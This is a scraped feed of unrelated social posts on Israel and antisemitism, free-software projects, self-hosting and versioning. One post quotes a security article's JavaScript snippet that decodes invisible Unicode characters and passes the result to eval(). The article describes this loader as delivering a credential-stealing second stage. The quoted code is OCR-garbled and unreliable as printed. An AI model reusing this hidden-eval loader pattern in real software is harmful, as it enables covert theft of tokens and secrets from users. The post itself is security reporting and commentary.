Opposition to Israel has NEVER made me feel like I was in danger as a Jew.
But goddamn I feel more in danger because an apartheid state on the other side of the world is committing genocide and war and saying they’re doing it in my name.
I hate that wearing something that may identify me as Jewish may indicate support for a country I want nothing to do with.

**Why do we need to install an app to get push notifications?**
We are used to get pre-installed solutions on Google-certified devices for many services such as the browser (Chrome), the map (Google Map), keyboard (Google keyboard), camera (Google Camera), push notifications (Play Services), etc.
Our free solutions aren't pre-installed on our devices: if we want a free map, we need to install it. It works the same for the push notification service.

Tired of Enshittification? Take your knowledge offline.
I am currently self hosting a @kiwix instance on my homelab. Having local, searchable copies of Wikipedia, the ArchWiki, and iFixit feels like a cheat code for digital sovereignty.
Spin up the Docker image, grab your ZIM files, and stop relying on big tech to keep the lights on for your reference data.

It’s bonkers how efficient the @postmarketOS gang is with money.
40K is ridiculously low for everything they’re achieving. And they’re very transparent about how they use it.
If you can afford to donate, pmOS is an excellent investment for our collective future.
New finance blog post is up, nerding out over the 2025 budget (plan vs. execution), and the budget for 2026.The most exciting part is probably the q6voice rework and mainlining which will improve audio significantly for postmarketOS and other Linux Mobile distributions on a large number of QC devices.
A huge thanks to everybody who is supporting postmarketOS financially to make this possible! 😍

What I don’t get is how this snippet passed code review regardless.
I mean, it’s clearly dodgy and the last line basically meaningless without the code being evaluated.
The real story here isn’t the invisible Unicode characters, it’s the lack of proper code review on code submissions.

During the JavaScript runtime, however, a small decoder extracts the real bytes and passes them to the eval() function.
const s = v => [...v]. map (w => (
w = w.codePointAt(0),
w >= ØxFE00 && w <= ØxFEØF ? w - ØxFE00
w >= 0xE0100
&& w <= ØxE01EF ? w - ØxE01
) ) .filter(n => n !== null);
eval (Buffer.from(s(‘’)) .toString('utf-8'))
"The backtick string passed to s() looks empty in every viewer, but it's packed with invisible characters that, once decoded, produce a full malicious payload," Aikido explained. "In past incidents, that decoded payload fetched and executed a second-stage script using Solana as a delivery channel, capable of stealing tokens, credentials, and secrets."](https://social.trom.tf/photo/preview/640/43690878 "Screenshot of article detail:

Major version should be the shame release because you couldn't think of any solution that didn't break back compatibility so you forced a migration on all of your users.
However, this is probably the "current state" slide and semver is the "ideal state" slide.

in reply to Jessica Rooster • • •Netanyahu and his genocidal thugs lie to try to use every Jewish person in the world as a human shield for the actions of Israel
Deliberately framing criticism of Israeli actions as an attack on "the Jewish community" is something politicians in the UK do constantly
Its infuriating that its been done deliberately and cynically by so many politicians and much of the media , and
I'm really sorry that you are in this position
